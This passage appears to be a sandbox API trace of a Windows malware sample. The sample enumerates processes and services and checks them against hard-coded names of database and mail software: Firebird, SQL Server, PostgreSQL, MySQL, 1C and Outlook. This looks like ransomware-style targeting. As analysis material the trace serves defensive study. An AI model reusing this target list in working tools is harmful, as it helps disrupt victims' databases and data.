pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.836] lstrlenW (lpString="explorer.exe") returned 12 [0174.836] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.836] lstrlenW (lpString="dwm.exe") returned 7 [0174.836] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.837] lstrlenW (lpString="svchost.exe") returned 11 [0174.837] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0174.837] lstrlenW (lpString="n.exe") returned 5 [0174.837] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.837] lstrlenW (lpString="spoolsv.exe") returned 11 [0174.837] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.838] lstrlenW (lpString="svchost.exe") returned 11 [0174.838] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.838] lstrlenW (lpString="taskhost.exe") returned 12 [0174.838] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0174.838] lstrlenW (lpString="reader_sl.exe") returned 13 [0174.838] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0174.839] lstrlenW (lpString="n.exe") returned 5 [0174.839] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0174.839] lstrlenW (lpString="n.exe") returned 5 [0174.839] Process32NextW (in: hSnapshot=0x160, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0174.839] CloseHandle (hObject=0x160) returned 1 [0174.839] Sleep (dwMilliseconds=0x1f4) [0175.473] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0175.474] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0175.475] GetLastError () returned 0xea [0175.475] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0175.475] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0175.475] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0175.475] lstrlenW (lpString="Appinfo") returned 7 [0175.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0175.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0175.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0175.476] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0175.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0175.476] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0175.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.476] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0175.476] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0175.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0175.476] lstrlenW (lpString="AudioSrv") returned 8 [0175.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0175.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0175.476] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0175.476] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0175.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0175.476] lstrlenW (lpString="BFE") returned 3 [0175.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0175.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0175.476] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0175.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0175.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0175.476] lstrlenW (lpString="CryptSvc") returned 8 [0175.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0175.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0175.476] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0175.476] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0175.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0175.477] lstrlenW (lpString="CscService") returned 10 [0175.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0175.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0175.477] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0175.477] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0175.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0175.477] lstrlenW (lpString="DcomLaunch") returned 10 [0175.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0175.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0175.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0175.477] lstrlenW (lpString="Dhcp") returned 4 [0175.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0175.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0175.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0175.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0175.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0175.477] lstrlenW (lpString="Dnscache") returned 8 [0175.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0175.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0175.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0175.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0175.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0175.477] lstrlenW (lpString="DPS") returned 3 [0175.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0175.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0175.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0175.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0175.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0175.478] lstrlenW (lpString="eventlog") returned 8 [0175.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0175.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0175.478] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0175.478] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0175.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0175.478] lstrlenW (lpString="EventSystem") returned 11 [0175.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0175.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0175.478] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0175.478] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0175.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0175.478] lstrlenW (lpString="gpsvc") returned 5 [0175.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0175.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0175.478] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0175.478] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0175.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0175.478] lstrlenW (lpString="iphlpsvc") returned 8 [0175.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.478] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0175.478] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0175.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0175.478] lstrlenW (lpString="LanmanServer") returned 12 [0175.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0175.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0175.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0175.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0175.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0175.478] lstrlenW (lpString="LanmanWorkstation") returned 17 [0175.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.479] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0175.479] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0175.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0175.479] lstrlenW (lpString="lmhosts") returned 7 [0175.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0175.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0175.479] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0175.479] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0175.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0175.479] lstrlenW (lpString="MMCSS") returned 5 [0175.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0175.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0175.479] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0175.479] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0175.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0175.479] lstrlenW (lpString="MpsSvc") returned 6 [0175.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0175.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0175.479] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0175.479] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0175.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0175.479] lstrlenW (lpString="Netman") returned 6 [0175.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0175.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0175.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0175.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0175.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0175.480] lstrlenW (lpString="netprofm") returned 8 [0175.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0175.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0175.480] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0175.480] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0175.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0175.480] lstrlenW (lpString="NlaSvc") returned 6 [0175.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0175.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0175.480] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0175.480] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0175.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0175.480] lstrlenW (lpString="nsi") returned 3 [0175.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0175.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0175.480] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0175.480] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0175.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0175.480] lstrlenW (lpString="PcaSvc") returned 6 [0175.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0175.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0175.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0175.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0175.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0175.480] lstrlenW (lpString="PlugPlay") returned 8 [0175.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0175.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0175.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0175.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0175.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0175.480] lstrlenW (lpString="Power") returned 5 [0175.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0175.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0175.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0175.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0175.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0175.481] lstrlenW (lpString="ProfSvc") returned 7 [0175.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0175.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0175.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0175.481] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0175.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0175.481] lstrlenW (lpString="RpcEptMapper") returned 12 [0175.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.481] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0175.481] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0175.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0175.481] lstrlenW (lpString="RpcSs") returned 5 [0175.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0175.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0175.481] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0175.481] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0175.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0175.481] lstrlenW (lpString="SamSs") returned 5 [0175.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0175.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0175.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0175.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0175.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0175.481] lstrlenW (lpString="Schedule") returned 8 [0175.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0175.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0175.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0175.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0175.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0175.482] lstrlenW (lpString="SENS") returned 4 [0175.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0175.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0175.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0175.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0175.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0175.482] lstrlenW (lpString="ShellHWDetection") returned 16 [0175.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.482] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0175.482] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0175.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0175.482] lstrlenW (lpString="Spooler") returned 7 [0175.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0175.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0175.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0175.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0175.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0175.482] lstrlenW (lpString="SysMain") returned 7 [0175.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0175.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0175.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0175.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0175.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0175.482] lstrlenW (lpString="Themes") returned 6 [0175.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0175.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0175.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0175.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0175.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0175.483] lstrlenW (lpString="TrkWks") returned 6 [0175.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0175.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0175.483] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0175.483] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0175.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0175.483] lstrlenW (lpString="UxSms") returned 5 [0175.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0175.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0175.483] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0175.483] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0175.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0175.483] lstrlenW (lpString="WdiServiceHost") returned 14 [0175.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0175.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0175.483] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0175.483] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0175.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0175.483] lstrlenW (lpString="WdiSystemHost") returned 13 [0175.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0175.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0175.483] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0175.483] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0175.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0175.483] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0175.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0175.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0175.484] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0175.484] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0175.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0175.484] lstrlenW (lpString="Winmgmt") returned 7 [0175.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0175.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0175.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0175.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0175.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0175.484] lstrlenW (lpString="WPDBusEnum") returned 10 [0175.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0175.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0175.484] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0175.484] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0175.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0175.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0175.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0175.486] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.486] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0175.486] lstrlenW (lpString="System") returned 6 [0175.486] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0175.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0175.486] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0175.487] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0175.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0175.487] lstrcmpiW 